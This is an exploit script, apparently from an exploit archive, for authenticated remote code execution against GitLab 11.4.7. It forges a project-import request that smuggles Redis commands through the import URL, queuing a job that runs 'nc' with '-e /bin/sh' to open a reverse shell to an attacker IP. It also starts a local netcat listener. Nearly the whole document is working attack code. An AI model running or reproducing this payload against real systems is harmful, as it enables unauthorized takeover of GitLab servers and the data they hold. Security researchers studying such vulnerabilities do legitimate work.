GitLab 11.4.7 – Remote Code Execution (Authenticated) (1)
# Exploit Title: Gitlab 11.4.7 - Remote Code Execution # Date: 14-12-2020 # Exploit Author: Fortunato Lodari fox [at] thebrain [dot] net, foxlox # Vendor Homepage: https://about.gitlab.com/ # POC: https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ # Tested On: Debian 10 + Apache/2.4.46 (Debian) # Version: 11.4.7 community import sys import requests import time import random import http.cookiejar import os.path from os import path # Sign in GitLab 11.4.7 portal and get (using Burp or something other): # authenticity_token # authenticated cookies # username # specify localport and localip for reverse shell username='aaaaaaaaaaaa' authenticity_token='jpT/n1EoPwwWtiGu/+QKVQomofMNyqAQXY+iD2kVoRQoiQNzcFHPAj2+M4pyblKo/7UkClKW8jvp51Aw2qzs7g==' cookie = '_gitlab_session=c942527505cc0580c026610a1799b811; sidebar_collapsed=false' localport='1234' localip='192.168.0.114' url = "http://192.168.0.130:5080" proxies = { "http": "http://localhost:8080" } def deb(str): print("Debug => "+str) def create_payload(authenticity_token,prgname,namespace_id,localip,localport,username): return {'utf8':'✓','authenticity_token':authenticity_token,'project[ci_cd_only]':'false','project[name]':prgname,'project[namespace_id]':namespace_id,'project[path]':prgname,'project[description]':prgname,'project[visibility_level]':'20','':'project[initialize_with_readme]','project[import_url]':'git://[0:0:0:0:0:ffff:127.0.0.1]:6379/\n multi\n sadd resque:gitlab:queues system_hook_push\n lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\'|nc '+localip+' '+localport+' -e /bin/sh\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"\n exec\n exec\n exec\n/'+username+'/'+prgname+'.git'} import string def random_string(length): return ''.join(random.choice(string.ascii_letters) for m in range(length)) def init(username,cookie,authenticity_token,localport,localip): from bs4 import BeautifulSoup import re import urllib.parse deb("Token: "+authenticity_token) deb("Cookie: "+cookie) session=requests.Session() headers = {'user-agent':'Moana Browser 1.0','Cookie':cookie,'Content-Type':'application/x-www-form-urlencoded','DNT':'1','Upgrade-Insecure-Requests':'1'} r=session.get(url+'/projects/new',headers=headers,allow_redirects=True) soup = BeautifulSoup(r.content,"lxml") nsid = soup.findAll('input', {"id": "project_namespace_id"}) namespace_id=nsid[0]['value']; deb("Namespace ID: "+namespace_id) prgname=random_string(8) newpayload=create_payload(authenticity_token,prgname,namespace_id,localip,localport,username) newpayload=urllib.parse.urlencode(newpayload) deb("Payload encoded: "+newpayload) r=session.post(url+'/projects',newpayload,headers=headers,allow_redirects=False) os.system("nc -nvlp "+localport) init(username,cookie,authenticity_token,localport,localip) |